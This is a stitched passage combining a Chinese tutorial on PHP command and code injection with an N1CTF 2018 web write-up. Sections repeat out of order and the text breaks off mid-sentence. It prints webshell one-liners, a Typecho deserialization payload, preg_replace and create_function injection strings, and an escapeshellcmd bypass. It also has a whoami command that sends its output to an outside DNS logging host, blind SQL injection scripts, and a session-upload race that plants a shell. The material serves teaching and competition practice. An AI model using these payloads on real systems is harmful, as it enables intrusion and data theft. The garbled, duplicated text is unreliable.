五、 call_user_func()/call_user_func_array()/array_map()

1. 知识前提

同样还是查阅官方手册

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

函数作用:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

mixed call_user_func_array ( callable $callback , array $param_arr )

函数作用:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

array array_map ( callable $callback , array $array1 [, array $... ] )

函数作用:返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

由于三者类似,这里介绍call_user_func()

我们举个例子

<?php

$filter= ‘assert’;

$value = ‘phpinfo()’;

call_user_func($filter, $value);

?>

代码注入总结---20180312第二次批注最终6399.png

可以看到成功执行了命令

2. 题目实战

前段时间非常火的Typecho反序列化漏洞中最后就用到了这个函数进行代码注入

有兴趣的可以在freebuf这篇文章查看详情:

http://www.freebuf.com/column/161798.html

这里截选出最终的利用点

private function _applyFilter($value)

    {

        if ($this->_filter) {

            foreach ($this->_filter as $filter) {

                $value = is_array($value) ? array_map($filter, $value) :

                call_user_func($filter, $value);

            }

            $this->_filter = array();

        }

        return $value;

    }

而当时的原因正是我们可控$filter和$value两个参数

附上payload

class Typecho_Feed{

    private $_type=’ATOM 1.0′;

    private $_items;

 

    public function __construct(){

        $this->_items = array(

            ’0′=>array(

                ’author’=> new Typecho_Request())

        );

    }

}

 

class Typecho_Request{

    private $_params = array(‘screenName’=>’phpinfo()’);

    private $_filter = array(‘assert’);

}

$poc = array(

‘adapter’=>new Typecho_Feed(),

‘prefix’=>’typecho’);

echo base64_encode(serialize($poc));

六、 反引号

1. 知识前提

反引用的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害

2. 操作实践

[email protected]:/var/www/html/test# echo ls

ls

[email protected]:/var/www/html/test# `echo ls`

test  tets

[email protected]:/var/www/html/test# ls

test  tets

可以明显的看出对比,再看php

php > $test = `ls`;

php > echo $test;

test

tets

所以反引号在命令注入实战中还是有不小的杀伤力


七、 ob_start()

1. 知识前提

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

函数描述:此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

2. 操作实践

php > $sky = ‘system’;

php > ob_start($sky);

php > echo ‘ls -al’;

php > ob_end_flush();

-rw-r–r– 1 root root    0 Mar 12 06:46 tets

可以看到成功执行命令

这里注意,如果我这样使用

php > echo ‘ls -al’;

ls -al

是没有任何作用的

因为这里的$sky被作为输出的回调函数

而我们输入的`ls -al`在缓冲区

经过ob_end_flush()输出缓冲区后,可以得到

system(‘ls -al’)

这样的操作,所以成功执行了命令


八、 exec()/shell_exec()/escapeshellcmd()/passthru()

1. 知识前提

string exec ( string $command [, array &$output [, int &$return_var ]] )

string shell_exec ( string $cmd )

string escapeshellcmd ( string $command )

void passthru ( string $command [, int &$return_var ] )

这几个就不细说的,读名字都知道是执行shell命令,如果函数执行未过滤完善的可控参数,后果非常危险

2. 注意点

其中passthru()同 exec() 函数类似,可以将结果直接传送到浏览器。

然后值得一提的是escapeshellcmd()

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

这里虽然存在安全转义,但是我们注意到官方手册的一句话

Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ and ” are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.

就过滤参数而言,这里有一个win下绕过的小tip,也是之前l3m0n师傅提及过的:

测试脚本:

<?php

    $test = ‘dir ‘.$_GET['sky'];

    $escaped_test = escapeshellcmd($test);

    var_dump($escaped_test);

    file_put_contents(‘out.bat’,$escaped_test);

    system(‘out.bat’);

?>

我们直接访问http://localhost/web/123.php?sky=../ | whoami

得到的是:

H:\wamp64\www\web\123.php:4:string ‘dir ../ ^| whoami’ (length=17)

H:\wamp64\www\web>dir ../ | whoami

但是执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

可以用

../ %1a whoami

但是需要注意的是版本问题

5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.

5.4.43, 5.5.27, 5.6.11  感叹号会被空格所替换。

5.6版本后可能不再适用,需要注意

 

九、 popen()/proc_open()/pcntl_exec()

resource popen ( string $command , string $mode )

 

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

 

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

其中popen()和proc_open()是不会直接返回执行结果的,而是返回一个文件指针,但是命令是已经执行了

由于没有遇到类似的题目就不多言了:)

 

十、 总结

命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本文也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠大家自己多多挖掘啦。

最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。

作者:一叶飘零

一、 前记

今天在合天实验室看到这样一个实验:

代码注入总结---20180312第二次批注最终2042.png

题目对萌新还是比较友好的,属于启蒙项,尚未接触过该类问题的同学可以尝试一下,领略一下命令注入的魅力。(点击http://www.hetianlab.com/expc.do?ec=2cf0139a-9d8a-4e91-96aa-f3fbec33205e,可开始学习本实验

而我个人做罢之余,心想不如总结一下最近遇到的命令或是代码注入的情况,于是便有了这篇文章~

1.  常见php命令注入函数

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

二、 背景

1. 知识前提

这里不再多提,相信大家已经对这几个函数轻车熟路了,常见小马均在使用

<?php

@eval($_GET["sky"]);

?>

 

<?php

@assert($_GET["sky"]);

?>

 

<?php

@system($_GET["sky"]);

?>

2. 题目实战

这里直接就用合天实验室的题目说明

看到题目给出的源码:

<?php

system(“ping -n 2 “.$_GET['ip']);

 ?>

正常访问

http://localhost/web/hetian.php?ip=127.0.0.1

代码注入总结---20180312第二次批注最终2708.png

(23333编码问题请忽略)

是一个常规的ping命令

我们进行命令注入

http://localhost/web/hetian.php?ip=|dir

得到回显

代码注入总结---20180312第二次批注最终2848.png

我们再换个套路,把这段代码放在服务器上(linux)

尝试:

http://vps_ip/testsky/index.php?ip=`whoami`.2bub8m.ceye.io

可以收到回显

代码注入总结---20180312第二次批注最终3026.png

并且这类题目在CTF中可以说屡见不鲜,值得好好掌握

三、 preg_replace()

1. 知识前提

查阅php手册

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。

其中,在错误/异常中提及:

PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。

所以正是这个修饰符,让我们可以进行命令注入

但需要知道的是:

7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。

5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。

在实践的时候需要看清php版本,在7.0的版本以后就不再适用!

2. 题目实战

error_reporting(0);

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject))

{

    preg_replace($pattern, $replacement, $subject);

}

else

{

die();

}

调用方法:

preg_replace(“/test/e”,phpinfo(),”jutst test”);

此时phpinfo()将会被执行

因为使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行

所以最后的payload:

?pat=/test/e&rep=phpinfo()&sub=jutst test

?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test

代码注入总结---20180312第二次批注最终4010.png代码注入总结---20180312第二次批注最终4012.png

可以看到命令成功注入!

四、 create_function()

1. 知识前提

查阅php手册

string create_function ( string $args , string $code )

函数作用:从创建一个匿名函数传递的参数,并返回一个唯一的名称

看一个官方样例

<?php

$newfunc = create_function(‘$a,$b’, ‘return “ln($a) + ln($b) = ” . log($a * $b);’);

echo “New anonymous function: $newfunc\n”;

echo $newfunc(2, M_E) . “\n”;

// outputs

// New anonymous function: lambda_1

// ln(2) + ln(2.718281828459) = 1.6931471805599

?>

我们不难得到create_function()的原型

function test($a,$b)

{

return “ln($a) + ln($b) = ” . log($a * $b);

}

那么我们开始实战

2. 题目实战1

此问题曾出现在WordPress <= 4.6.1 使用语言文件任意代码执行

详细分析请戳:http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/

下面给出关键代码

function make_plural_form_function($nplurals, $expression) {  

    $expression = str_replace(‘n’, ‘$n’, $expression);

    $func_body = “

        \$index = (int)($expression);

        return (\$index < $nplurals)? \$index : $nplurals – 1;”;

    return create_function(‘$n’, $func_body);

}

可以清楚看见,关键利用点就是在create_function()

3. 题目实战2

给出《web安全深度剖析》中的一个实例:

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp’;

$databases=array(’1234′,’4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;

usort($databases, create_function(‘$a, $b’, $sort_function));

?>

首先构造出函数原型

function test($a,$b)

{

return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);

}

根据这个,我们可以构造payload:

?sort_by=”]);}phpinfo();/*

传入后得到:

return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);

所以此时的函数原型:

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);

}

很显然,经过`/*`注释符

我们剩下的只有

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);

}

phpinfo();

成功的进行了代码注入!

代码注入总结---20180312第二次批注最终5796.png

五、 call_user_func()/call_user_func_array()/array_map()

1. 知识前提

同样还是查阅官方手册

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

函数作用:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

mixed call_user_func_array ( callable $callback , array $param_arr )

函数作用:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

array array_map ( callable $callback , array $array1 [, array $... ] )

函数作用:返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

由于三者类似,这里介绍call_user_func()

我们举个例子

<?php

$filter= ‘assert’;

$value = ‘phpinfo()’;

call_user_func($filter, $value);

?>

代码注入总结---20180312第二次批注最终6399.png

可以看到成功执行了命令

2. 题目实战

前段时间非常火的Typecho反序列化漏洞中最后就用到了这个函数进行代码注入

有兴趣的可以在freebuf这篇文章查看详情:

http://www.freebuf.com/column/161798.html

这里截选出最终的利用点

private function _applyFilter($value)

    {

        if ($this->_filter) {

            foreach ($this->_filter as $filter) {

                $value = is_array($value) ? array_map($filter, $value) :

                call_user_func($filter, $value);

            }

            $this->_filter = array();

        }

        return $value;

    }

而当时的原因正是我们可控$filter和$value两个参数

附上payload

class Typecho_Feed{

    private $_type=’ATOM 1.0′;

    private $_items;

 

    public function __construct(){

        $this->_items = array(

            ’0′=>array(

                ’author’=> new Typecho_Request())

        );

    }

}

 

class Typecho_Request{

    private $_params = array(‘screenName’=>’phpinfo()’);

    private $_filter = array(‘assert’);

}

$poc = array(

‘adapter’=>new Typecho_Feed(),

‘prefix’=>’typecho’);

echo base64_encode(serialize($poc));

六、 反引号

1. 知识前提

反引用的本质就是在操作系统执行该命令。此时可以造成命令注入等各种危害

2. 操作实践

[email protected]:/var/www/html/test# echo ls

ls

[email protected]:/var/www/html/test# `echo ls`

test  tets

[email protected]:/var/www/html/test# ls

test  tets

可以明显的看出对比,再看php

php > $test = `ls`;

php > echo $test;

test

tets

所以反引号在命令注入实战中还是有不小的杀伤力


七、 ob_start()

1. 知识前提

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

函数描述:此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。

内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

2. 操作实践

php > $sky = ‘system’;

php > ob_start($sky);

php > echo ‘ls -al’;

php > ob_end_flush();

-rw-r–r– 1 root root    0 Mar 12 06:46 tets

可以看到成功执行命令

这里注意,如果我这样使用

php > echo ‘ls -al’;

ls -al

是没有任何作用的

因为这里的$sky被作为输出的回调函数

而我们输入的`ls -al`在缓冲区

经过ob_end_flush()输出缓冲区后,可以得到

system(‘ls -al’)

这样的操作,所以成功执行了命令


八、 exec()/shell_exec()/escapeshellcmd()/passthru()

1. 知识前提

string exec ( string $command [, array &$output [, int &$return_var ]] )

string shell_exec ( string $cmd )

string escapeshellcmd ( string $command )

void passthru ( string $command [, int &$return_var ] )

这几个就不细说的,读名字都知道是执行shell命令,如果函数执行未过滤完善的可控参数,后果非常危险

2. 注意点

其中passthru()同 exec() 函数类似,可以将结果直接传送到浏览器。

然后值得一提的是escapeshellcmd()

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

这里虽然存在安全转义,但是我们注意到官方手册的一句话

Following characters are preceded by a backslash: &#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ and ” are escaped only if they are not paired. In Windows, all these characters plus % and ! are replaced by a space instead.

就过滤参数而言,这里有一个win下绕过的小tip,也是之前l3m0n师傅提及过的:

测试脚本:

<?php

    $test = ‘dir ‘.$_GET['sky'];

    $escaped_test = escapeshellcmd($test);

    var_dump($escaped_test);

    file_put_contents(‘out.bat’,$escaped_test);

    system(‘out.bat’);

?>

我们直接访问http://localhost/web/123.php?sky=../ | whoami

得到的是:

H:\wamp64\www\web\123.php:4:string ‘dir ../ ^| whoami’ (length=17)

H:\wamp64\www\web>dir ../ | whoami

但是执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

可以用

../ %1a whoami

但是需要注意的是版本问题

5.6.0 The default value for the encoding parameter was changed to be the value of the default_charset configuration option.

5.4.43, 5.5.27, 5.6.11  感叹号会被空格所替换。

5.6版本后可能不再适用,需要注意

 

九、 popen()/proc_open()/pcntl_exec()

resource popen ( string $command , string $mode )

 

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

 

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

其中popen()和proc_open()是不会直接返回执行结果的,而是返回一个文件指针,但是命令是已经执行了

由于没有遇到类似的题目就不多言了:)

 

十、 总结

命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本文也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠大家自己多多挖掘啦。

最后,郑重说明:利用本文做任何违法事情,与本人和合天智汇无关,资料仅供参考与学习。

作者:一叶飘零

前记

N1CTF 2018是由国内知名战队Nu1L战队组织。正好假期空余,于是便来试了试,总的来说,题目难度较高,但是由于存在非预期,所以降低了一些困难性。

77777

拿到题目注意几个信息点:

国际赛-N1CTF-web题解528.png 

image.png

容易发现我们需要的就是admin的password字段

所以容易构造payload:

flag=1111&hi= where (password like 0×25)

Update users set points =1111 where (password like 0×25)

此时发现

image.png

分数修改成功

再试

flag=2222&hi= where (password like 0xff)

发现

image.png

没有变化,于是可以写出脚本

import requests
import string
import urllib
url = "http://47.97.168.223/index.php"
flag = ""
true_flag = ""
for i in range(1,1000):
    payload = flag
    for j in "0123456789"+string.letters+"[email protected]#$^&*(){}=+`~_":
        data = {
            "flag":"233333",
            "hi":urllib.unquote(" where (password like 0x%s25)"%(payload+hex(ord(j))[2:]))
        }
        r =requests.post(url=url,data=data)
        if '233333' in r.content:
            flag += hex(ord(j))[2:]
            true_flag += j
            print true_flag
            data1 = {
                "flag": "1",
                "hi": " where 1"
            }
            s = requests.post(url=url,data=data1)
            break

得到flag:N1CTF{he3l3locat233}

算是一道web签到题吧,侥幸手速快,拿了一血233333

77777 2

上一题的翻版,like,部分数字等较多可用均被过滤,发现括号,+,>还在

于是想到构造运算

国际赛-N1CTF-web题解1560.png

此时的username>”a“为true

Id= 1+true

即为2,那么此处的update也可以用相同的方法

image.png

注意url编码问题

于是可以写出脚本

import requests
import urllib
url = "http://47.52.137.90:20000/index.php"
flag = ""
for i in range(1,1000):
    for j in range(33,127):
        payload = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j)))
        data = {
             "flag":"10",
              "hi":payload
        }
        r = requests.post(url=url,data=data)
        if "| 10<br/>" in r.content:
            tmp = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j-1)))
            tmp_data = {
                "flag": "10",
                "hi": tmp
            }
            s = requests.post(url=url,data=tmp_data)
            if "| 11<br/>" in s.content:
                flag += chr(j-1)
                print flag
                break

 

得到flag:N1CTF{HAHAH777A7AHA77777AAAA}

funning eating cms

进入题目后,点一下login……竟然就可以了= =这里有点坑

拿到url: http://47.52.152.93:20000/user.php?page=guest

发现可以文件包含,随即尝试读源码:

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=index

得到:


<?php

require_once “function.php”;

if(isset($_SESSION['login'] )){

    Header(“Location: user.php?page=info”);

}

else{

    include “templates/index.html”;

}

?>

继续读function文件

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=function

得到(代码只给出部分)


<?php

session_start();

require_once “config.php”;

function Hacker()

{

    Header(“Location: hacker.php”);

    die();

}

 

 

function filter_directory()

{

    $keywords = ["flag","manage","ffffllllaaaaggg"];

    $uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

//    var_dump($query);

//    die();

    foreach($keywords as $token)

    {

        foreach($query as $k => $v)

        {

            if (stristr($k, $token))

                hacker();

            if (stristr($v, $token))

                hacker();

        }

    }

}

我们可以发现过滤$keywords = ["flag","manage","ffffllllaaaaggg"];

既然是keyword,那我们尝试一下读ffffllllaaaaggg文件

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

image.png

果不其然,我们被waf了

随即审计一下


$uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

这段代码可以说是老套路了,详细请看我的这篇分析:

http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

我们可以通过

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

这样的方式进行绕过

得到源码


<?php

if (FLAG_SIG != 1){

    die(“you can not visit it directly”);

}else {

    echo “you can find sth in m4aaannngggeee”;

}

?>

继续读

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=m4aaannngggeee

得到


<?php

if (FLAG_SIG != 1){

    die(“you can not visit it directly”);

}

include “templates/upload2323233333.html”;

?>

去访问

http://47.52.152.93:20000/templates/upload2323233333.html

看到有上传,找到上传的后端:upllloadddd.php

接着读23333333

http://47.52.152.93:20000///user.php?page=php://filter/read=convert.base64-encode/resource=upllloadddd

得到


<?php

$allowtype = array(“gif”,”png”,”jpg”);

$size = 10000000;

$path = “./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”;

$filename = $_FILES['file']['name'];

if(is_uploaded_file($_FILES['file']['tmp_name'])){

    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){

        die(“error:can not move”);

    }

}else{

    die(“error:not an upload file!”);

}

$newfile = $path.$filename;

echo “file upload success<br />”;

echo $filename;

$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename.” | base64 -w 0″);

echo “<img src=’data:image/png;base64,”.$picdata.”‘></img>”;

if($_FILES['file']['error']>0){

    unlink($newfile);

    die(“Upload file error: “);

}

$ext = array_pop(explode(“.”,$_FILES['file']['name']));

if(!in_array($ext,$allowtype)){

    unlink($newfile);

}

?>

可以清楚的看到:


$picdata = system(“cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/”.$filename.” | base64 -w 0″);

echo “<img src=’data:image/png;base64,”.$picdata.”‘></img>”;

这里可以命令注入,并且把内容打印出来

我们先本地测试一下

image.png

发现可以成功将ls的信息打印出来

于是构造:

jpg || ls 文件名

 image.png

image.png

image.png

image.png

image.png

最后拿到flag: N1CTF{1d0ab6949bed0ecf014b087e7282c0da}

 

easy php

拿到url: http://47.97.221.96/index.php?action=login

发现可能存在文件包含

随手尝试

image.png

发现可以读文件,于是尝试读取源码

但是各种尝试,均以失败告终

最后发现

http://47.97.221.96/index.php~

存在文件泄露


<?php

 

require_once ‘user.php’;

$C = new Customer();

if(isset($_GET['action']))

require_once ‘views/’.$_GET['action'];

else

header(‘Location: index.php?action=login’);

 

立刻去读user.php,还是用同样的方法:http://47.97.221.96/user.php~

然后去查目录views/

image.png

发现可列目录,随机拿到全部源码

注:由于源码过多,只给出部分分析源码

首先确定几个可控的值

image.png

image.png

对于password:

image.png

显然是没办法的

再去看username的过滤

image.png

基本无解,只能用数字和字母

发现调用了sql语句,可能存在注入,但是引号无法利用,但是我们可以知道再去看剩下的两个

发现过滤

image.png

再看利用点

image.png

发现调用了sql语句,可能存在注入,但是引号无法利用,但是我们可以知道

其中反引号也可以闭合单引号,所以我们可以得到payload


signature=1`,`123`),((select if((select database()) like 0×25,sleep(5),0)),(select 

2),`sky&mood=1

我们将其带入语句中


$db->insert(array(‘userid’,'username’,’ signature=1`,`123`),((select if((select database()) like 0×25,sleep(5),0)),(select 

2),`sky ‘,’1′),
    ’ctf_user_signature’,array($this->userid,$this->username,$_POST['signature'],$mood));

发现成功闭合,并且成功延时5s,随机可以写出注入脚本

import requests
import string
import urllib
url = "http://47.97.221.96:23333/index.php?action=publish"
flag = ""
true_flag = ""
cookie={
    "PHPSESSID":"hkjj65gnmdjvs1mcbct3u9nmd0"
}
for i in range(1,1000):
    print i
    payload = flag
    for j in "0123456789."+string.letters+"[email protected]#$^&*(){}=+`~_":
        data = {
            "signature":urllib.unquote("1`,`123`),((select if((select password from ctf_users limit 1)) like 0x%s25,sleep(3),0)),(select 2),`baidu"%(payload+hex(ord(j))[2:])),
            "mood":"1"
           }
        try:
            r =requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
        except:
            flag += hex(ord(j))[2:]
            true_flag += j
            print true_flag
            break

可以得到管理员密码nu1ladmin

但是继续往后登录遇到瓶颈,

image.png

后来题目又陆续给出提示,随即我又注了一下admin的allow_ip,发现是127.0.0.1,猜想可能是需要ssrf以本地用户登录才可。

image.png

但是到此为止,找了整整一下午,都没发现问题点,无奈开始换思路,发现phpinfo还在,于是去看了看,没想到惊喜的发现了攻击点

image.png

可以看到upload_progress.enabled开启,并且给出了session.save_path,我们去包含一下试试

http://47.97.221.96/index.php?action=../../../../var/lib/php5/sess_bi1gotgju078l3tvdnlrpnofk2

发现成功包含

image.png

此时想到一个session_upload的解法,曾经在jarvis-oj也出现过:

http://web.jarvisoj.com:32784/有兴趣可以尝试

再给出一个关于PHP_SESSION_UPLOAD_PROGRESS的官方手册

说明:

http://php.net/manual/zh/session.upload-progress.php

我们直接用官方给出的表单加以修改就可使用

官方表单:

<form action=”upload.php” method=”POST” enctype=”multipart/form-data”>

 <input type=”hidden” name=”<?php echo ini_get(“session.upload_progress.name”); ?>” value=”123″ />

 <input type=”file” name=”file1″ />

 <input type=”file” name=”file2″ />

 <input type=”submit” />

</form>

我的表单:

<form action=”http://47.97.221.96:23333” method=”post” enctype=”multipart/form-data”>

    <input type=”hidden” name=”PHP_SESSION_UPLOAD_PROGRESS” vaule=”<?= phpinfo(); ?>” />

    <input type=”file” name=”file1″ />

    <input type=”file” name=”file2″ />

    <input type=”submit” />

</form>

但是需要注意的是,cleanup是on,所以这里我用了条件竞争,一遍疯狂发包,一遍疯狂请求

最后得到:

image.png

image.png

最后可以在/app/下找到写入的shell,随即用菜刀连接,却没有发现flag,于是想到刚开始的题目给的dockerfile


FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

 

ADD nu1lctf.tar.gz /app/

RUN apt-get update

RUN a2enmod rewrite

COPY sql.sql /tmp/sql.sql

COPY run.sh /run.sh

RUN mkdir /home/nu1lctf

COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

 

RUN chmod +x /run.sh

RUN chmod 777 /tmp/sql.sql

RUN chmod 555 /home/nu1lctf/clean_danger.sh

 

EXPOSE 80

CMD ["/run.sh"]

发现几个.sh文件,我们读取一下

clean_danger.sh
cd /app/adminpic/ rm *.jpg



run.sh
#!/bin/bash chown www-data:www-data /app -R if [ "$ALLOW_OVERRIDE" = "**False**" ]; then unset ALLOW_OVERRIDE else sed -i "s/AllowOverride None/AllowOverride All/g" /etc/apache2/apache2.conf a2enmod rewrite fi # initialize database mysqld_safe --skip-grant-tables& sleep 5 ## change root password mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('Nu1Lctf%#~:p') WHERE user='root';FLUSH PRIVILEGES;" ## restart mysql service mysql restart ## execute sql file mysql -uroot -pNu1Lctf\%\#\~\:p < /tmp/sql.sql ## crontab (while true;do rm -rf /tmp/*;sleep 2;done)& ## rm sql cd /tmp/ rm sql.sql source /etc/apache2/envvars tail -F /var/log/apache2/* & exec apache2 -D FOREGROUND

可以发现数据库root的密码:

mysql -uroot -e ”use mysql;UPDATE user SET password=PASSWORD(‘Nu1Lctf%#~:p’)

随即登录数据库,可发现flag:

N1CTF{php_unserialize_ssrf_crlf_injection_is_easy:p}

注:本文属“合天智汇”原创奖励文章,如需转载,请私信“合天智汇”公众号

作者:一叶飘零

前记

N1CTF 2018是由国内知名战队Nu1L战队组织。正好假期空余,于是便来试了试,总的来说,题目难度较高,但是由于存在非预期,所以降低了一些困难性。

77777

拿到题目注意几个信息点:

国际赛-N1CTF-web题解528.png 

image.png

容易发现我们需要的就是admin的password字段

所以容易构造payload:

flag=1111&hi= where (password like 0×25)

Update users set points =1111 where (password like 0×25)

此时发现

image.png

分数修改成功

再试

flag=2222&hi= where (password like 0xff)

发现

image.png

没有变化,于是可以写出脚本

import requests
import string
import urllib
url = "http://47.97.168.223/index.php"
flag = ""
true_flag = ""
for i in range(1,1000):
    payload = flag
    for j in "0123456789"+string.letters+"[email protected]#$^&*(){}=+`~_":
        data = {
            "flag":"233333",
            "hi":urllib.unquote(" where (password like 0x%s25)"%(payload+hex(ord(j))[2:]))
        }
        r =requests.post(url=url,data=data)
        if '233333' in r.content:
            flag += hex(ord(j))[2:]
            true_flag += j
            print true_flag
            data1 = {
                "flag": "1",
                "hi": " where 1"
            }
            s = requests.post(url=url,data=data1)
            break

得到flag:N1CTF{he3l3locat233}

算是一道web签到题吧,侥幸手速快,拿了一血233333

77777 2

上一题的翻版,like,部分数字等较多可用均被过滤,发现括号,+,>还在

于是想到构造运算

国际赛-N1CTF-web题解1560.png

此时的username>”a“为true

Id= 1+true

即为2,那么此处的update也可以用相同的方法

image.png

注意url编码问题

于是可以写出脚本

import requests
import urllib
url = "http://47.52.137.90:20000/index.php"
flag = ""
for i in range(1,1000):
    for j in range(33,127):
        payload = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j)))
        data = {
             "flag":"10",
              "hi":payload
        }
        r = requests.post(url=url,data=data)
        if "| 10<br/>" in r.content:
            tmp = urllib.unquote("%%2b( pw > '%s')"%(flag+chr(j-1)))
            tmp_data = {
                "flag": "10",
                "hi": tmp
            }
            s = requests.post(url=url,data=tmp_data)
            if "| 11<br/>" in s.content:
                flag += chr(j-1)
                print flag
                break

 

得到flag:N1CTF{HAHAH777A7AHA77777AAAA}

funning eating cms

进入题目后,点一下login……竟然就可以了= =这里有点坑

拿到url: http://47.52.152.93:20000/user.php?page=guest

发现可以文件包含,随即尝试读源码:

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=index

得到:


<?php

require_once “function.php”;

if(isset($_SESSION['login'] )){

    Header(“Location: user.php?page=info”);

}

else{

    include “templates/index.html”;

}

?>

继续读function文件

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=function

得到(代码只给出部分)


<?php

session_start();

require_once “config.php”;

function Hacker()

{

    Header(“Location: hacker.php”);

    die();

}

 

 

function filter_directory()

{

    $keywords = ["flag","manage","ffffllllaaaaggg"];

    $uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

//    var_dump($query);

//    die();

    foreach($keywords as $token)

    {

        foreach($query as $k => $v)

        {

            if (stristr($k, $token))

                hacker();

            if (stristr($v, $token))

                hacker();

        }

    }

}

我们可以发现过滤$keywords = ["flag","manage","ffffllllaaaaggg"];

既然是keyword,那我们尝试一下读ffffllllaaaaggg文件

http://47.52.152.93:20000/user.php?page=php://filter/read=convert.base64-encode/resource=ffffllllaaaaggg

image.png

果不其然,我们被waf了

随即审计一下


$uri = parse_url($_SERVER["REQUEST_URI"]);

    parse_str($uri['query'], $query);

这段代码可以说是老套路了,详细请看我的这篇分析:

http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/

我们可以通过

